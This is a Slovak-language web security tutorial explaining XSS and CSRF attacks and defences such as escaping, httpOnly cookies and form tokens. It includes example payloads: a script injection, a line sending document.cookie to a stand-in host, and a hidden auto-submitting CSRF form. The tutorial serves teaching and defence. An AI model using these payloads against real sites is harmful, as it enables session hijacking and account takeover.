LINUXSOFT.cz Přeskoč levou lištu
Uživatel: Heslo:  
   CZUKPL

> Bezpečnosť webovej aplikácie II.

V tomto pokračovaní nášho malého tutoriálu si ukážeme, ako vyzerajú, ako fungujú a ako sa brániť proti zraniteľnostiam Cross-Site-Scripting (XSS) a Cross Site Request Forgery (CSRF/XSRF).

11.3.2012 00:00 | Marek Beleščiak | Články autora | přečteno 3415×

Princíp týchto zraniteľností spočíva v neošetrenom vstupe na danej www stránky - útočník na tomto základe podstrčí vlastný javascriptový kód. Pomocou týchto zraniteľnosti vám môže prebrať cookies, ukradnúť session alebo dokonca vám aj zmeniť údaje o účte bez toho aby ste o tom vedeli jediným navštívením nebezpečnej stránky.

XSS

Tento útok spočíva v tom, že podstrčíte aplikácií dáta, ktorej jej samotnej neuškodia ale vrátia sa neodfiltrované na výstup k užívateľovi. Veľmi dobrý príklad môže byť odoslanie formulára, keď nastane niekde chyba, väčšinou vám ostanú údaje vyplnené aby ste ich nemuseli vyplňovať odznova.

Zoberme si nasledujúci príklad, ktorý by mal všetko demonštrovať:

<input name="username" value="">

Aplikácii odošleme toto políčko s obsahom "><script>alert('XSS');</script> dostali by sme tento výsledok:

<input name="username" value=""><script>alert('XSS')</script>">

V takejto podobe sa nám do prehliadača vratí daný kód, čím sa vykoná daný javascriptový kód. S menšou úpravou môže byť veľmi nebezpečný.

Existujú 3 typy XSS a to sú persistent (stály), non-persistent (nestály) a local (lokálny, často sa označuje ako HTML Injection).

Persistent

Táto metóda sa využíva napr. v guestbooku. Pokiaľ aplikácia nevyužíva na výstupe filter, a tým pádom sa neošetria html tagy a vrátia sa klientovi - problém je na svete. Aplikácia uloží nebezpečný kód a potom každému, kto navštívi guestbook vráti nebezpečný kód, ktorý sa vykoná u každého klienta.

Persistent XSS Attacker -> Storage Persistent XSS Storage -> Client

Správna cesta by mala byť od útočníka do úložiska. Cesta ku klientovi by ale mala viesť cez filter:

Persistent XSS Storage -> Filter -> Client

Non-Persistent

Tento spôsob je veľmi podobný predošlému persistent, s tým rozdielom, že infikovanú adresu aplikácie má len útočník. Tento spôsob je síce najmenej nebezpečný ale je veľmi podceňovaný, čo je veľká chyba.

Malý príklad: predstavte si stránku na ktorej je prihlásenie, registrácia, fórum. Útočník našiel na stránke 'vytvoriť novú tému' nestálu XSS zraniteľnosť. Zriadil si free-hosting s dómenou www.example.com, na ktorej mal skript, ktorý ukladal všetko, čo dostal zo vstupu. Na stránke s diskusiou si pripravil a vyšperkoval svoj nebezpečný kód. Ten odoslal všetky cookies cez new Image().src='http://www.example.com/?c='+document.cookie na svoj nachystaný skript na www.example.com. Svoj nebezpečný kód fungoval takto: zakryl celú stránku na čierno, aby nebolo vidno, že ide práve o danú lokalitu. Potom ihned odoslal cookies. A nakoniec sa spustila hra na hádanie čisla od 0 do 100. Útočník potom túto veľmo dlhú url zmenil zapomoci url shortenera tinyurl.com. Potom napísal novú tému s tým, že našiel na nete výbornú hru, v ktorej máte hádať číslo od 0 do 100 a pod to dal novú skrátenú adresu. Každý kto klikol na tento odkaz prišiel o svoj účet! Útočník svoje úložisko pravidelne kontroloval a tým pádom mohol ihneď reagovať skôr než sa užívateľovi skončí jeho relácia. Serveru odoslal požiadavku s danými cookies. Kedže server ho identifikoval ako pôvodného užívateľa, útočník sa ocitol prihlásený za užívateľa a ani na to nepotreboval žiadne heslo!...

Local

Lokálne XSS sa často označuje aj ako infikovanie HTML (HTML injection). Kód je spustený na strane klienta a práve na strane klienta dochádza k infikovaniu html. Príkladom môže byť napr. dynamické vloženie html obsahu bez žiadneho filtru:

<script>
	var a = window.location.search.indexOf("text=") + 5;
	document.getElementsByTagName("div")[0].innerHTML = a;
</script>
	

Obrana

Zo strany vývojára treba byť paranoidný ku každému vstupu. Neverte ani vlastným databázam! Každé dáta, ktoré idete poslať klientovi musíte dobre ošetriť problémové znaky (hlavne: <, >, ", ', (, ) ). Toto isté platí aj pre dáta od server poslané javascriptu (napr. cez ajax) a tiež ošetriť dané znaky, aby sa nevyskytovali v novom dynamickom html obsahu. Ďalším veľmi významným opatrením je nastaviť všetkým cookies, ktoré nemajú čo javascript zaujímať nastaviť httpOnly atribút, ktorý zariadi aby daná cookie bola posielaná len cez medzi prehliadačom a serverom a žiadne skripty k nej nebudú mať prístup.

Zo strany klienta je obrana pomerne náročná. Pre firefox je tu plugin NoScript. Google Chrome ma svoju ochranu proti XSS už integrovanú takým spôsobom, že ak sa odoslané dáta nachádzajú v odpovedi, hodi error/warning do konzoly a daný kúsok kódu odignoruje.

CSRF / XSRF

Pre správne pochopenie tohto útoku je nutné vedieť ako funguje protokol HTTP.

Web server cez HTTP protokol nevie identifikovať návštevníka, to až po poslaní cookies. Tento útok dokáže na poslanie parametrov stránke použiť rovnako GET aj POST metódu. Obe metódy sú úplne rovnake postihnuté. Vždy, keď váš prehliadač posiela požiadavku stránke, zahrnie tam všetko, vrátane cookies, teda vašej identifikácie. Keďže server nevie určiť od koho požiadavka naozaj pochádza, vyhodnotí ju ako legitímnu požiadavku a následne ju spracuje.

Vezmime si napríklad URL pre odhlásenie z linuxsoftu:

GET /odhlas.php HTTP/1.1

Keby ste na svoju stránku umiestnili kód:

<img src="http://www.linuxsoft.cz/odhlas.php" style="display:none;">

Každý, kto by navštívil vašu stránku, jeho prehliadač by chcel prehliadač stiahnuť aj obrázok "/odhlas.php" na linuxsoft.cz. Prehliadač musí vytvoriť požiadavku a odoslať ju na linuxsoft.cz, ktorému odošle všetky dáta, cookies. Server na ich základe usúdi, že sa jedná o vás a vašu žiadosť o odhlásenie. Dojde k odhláseniu. Skúste sa prihlásiť stlačiť toto tlačitko a obnoviť stránku a budete odhlásení.

Teraz si predstavte, že rovnako je postihnutá aj metóda POST, je trošku zložitejšia ale nieje to nič extra. Rozhodol som sa uviesť malý príklad na zmenu emailu. Predstavte si, že formulár na originálnej stránke je nasledujúci:

<form method="post" action="/email.cgi">
	<input type="text" name="email">
	<input type="submit" value="submit">
</form>
	

Odoslanie tohto formulára pod identitou užívateľa nieje nič náročné. Náš kód na nebezpečnej stránke môže vyzerať napr. takto:

<iframe style="display:none" name="ifr"></iframe>
<form method="post" action="http://www.example.com/email.cgi" style="display:none;" 
target="ifr" name="ifr_form">
	<input type="hidden" name="email" value="exam@ple.com">
</form>
<script type="text/javascript">
window.forms['ifr_form'].submit();
</script>
	

Po navštívení tejto stránky sa ihneď odošle formulár na zmenu emailu. Pokiaľ obeť je prihlasená, email sa zmení, čo znamená, že zmeniť si heslo cez zabudnuté heslo a následné poslanie na nový email je už to najmenej.

Obrana

CSRF je nebezpečný typ útoku a obrana proti nemu nieje ľahká. No určite je nutné, aby ste kontrolovali hlavičku referer, ak je dostupná. Ďalši najefektívnejší spôsob je otokenovať každý formulár, to znamená, že ku každému vstupu priradíte uníkátny reťazec. Kedže ho útočník dopredu nevie určiť, útok nemá veľkú šancu. Určite by bolo dobré keby ste k tomuto tokenu ukladali IP ktorá daný token "vytvorila" a nakonci ho porovnať s IP ktorá tento token odoslala. Ak sa nezhodujú nemôžete pokračovať! Ďalšou dobrou ochranou je captcha, ktorá bola pôvodne navrhnutá ako antispamové riešenie.

Verze pro tisk

pridej.cz

 

DISKUZE

Nejsou žádné diskuzní příspěvky u dané položky.



Příspívat do diskuze mohou pouze registrovaní uživatelé.
> Vyhledávání software
> Vyhledávání článků

28.11.2014 7:08 /MaReK Olšavský
Blížící víkend lze využít i na prozkoumání nové verze Battle for Wesnoth 1.12, která přináší především vylepšení ve správě add-ons. Instalace, na konci, je zatím napsána pro sestavení ze zdrojových kódů.
Přidat komentář

28.11.2014 7:08 /MaReK Olšavský
Alternativní ReactOS potkalo několik novinek, z nichž je nejvidětelnější nový Explorer (podobný tomu z Windows 2003), ale i prvního placeného vývojáře. Snad se jednou dočkáme produkční verze systému s nativním Win-API.
Přidat komentář

27.11.2014 7:10 /MaReK Olšavský
Malý desktop s distribucí Ubuntu a použitelným dostatkem RAM, to vše se SoC rodiny Cortex-A9, představila začínající společnost „Imp“. Cena do US$ 200,— je příjemná a dnes už by měl takto „slabý“ počítač dostačovat běžným uživatelům.
Přidat komentář

27.11.2014 7:10 /MaReK Olšavský
Na MeetBSD California 2014 prezentoval Jordan Hubbard plány pro příštích 10 let, ve vývoji FreeBSD. Operuje se s pojmy BYOD, cloud, virtualizace. Po výrazné finanční injekci a nasazení na Sony PS4 to vypadá na oživení projektu, jehož svobodný předchůdce tu byl dříve, než dnešní GNU/Linux (který již není možné považovat za alternativní OS).
Přidat komentář

27.11.2014 7:10 /MaReK Olšavský
O rozdílech mezi prohlížeči Google Chrome a Chromium nemá hodně uživatelů jasno, často je Chromium popisováno jen slovy „otevřená verze Chrome“. Stručné vysvětlení ukáže, kolik toho je, co Google nechává jako uzavřené kódy, většinou jde o technologie, které sice smí používat, ale nesmí je zveřejnovat.
Přidat komentář

26.11.2014 7:10 /MaReK Olšavský
Vyšel fork FreeBSD, DragonglyBSD 4.0, který je pouze ve verzi x86-64 (a 32 bitová verze ani není naplánována), zvedá limit souběžně podporovaných procesorů na 256, nebo vylepšuje podporu OpenGL renderování.
Přidat komentář

24.11.2014 7:19 /MaReK Olšavský
O přízeň uživatelů kodeků se uchází 2 balíky, FFmpeg a Libav (který je forkem FFmpeg, vzniklým v roce 2011).Mainstreamové distribuce, jako Debian, Ubuntu, nebo Fedora, používají Libav, ale Ubuntu by se mělo vrátit k FFmpeg, počínaje verzí 15.04. Ubuntu tímto činí další krok, který je nezávislý na mateřské distribuci Debian.
Přidat komentář

24.11.2014 7:19 /MaReK Olšavský
Blíží se dlouhé zimní večery a Steam přichází s nabídkou simulátoru kozy :-) za příjemných 9,99 €, samozřejmě i ve verzi pro GNU/Linux. Kolik toho zvládne jedna koza sežrat a zničit?
Přidat komentář

   Více ...   Přidat zprávičku

> Poslední diskuze

11.11.2014 14:24 / Libor Suchý
Nekonečný while cyklus

10.11.2014 19:09 / Libor Suchý
Re: tabulka - bitovy sucet

10.11.2014 19:03 / Libor Suchý
Re: tabulka - bitovy sucet

24.10.2014 17:47 / Petr Ježek
Andreas

16.10.2014 7:56 / Leo
Sanba

Více ...

ISSN 1801-3805 | Provozovatel: Pavel Kysilka, IČ: 72868490 (2003-2014) | mail at linuxsoft dot cz | Design: www.megadesign.cz | Textová verze | zákony online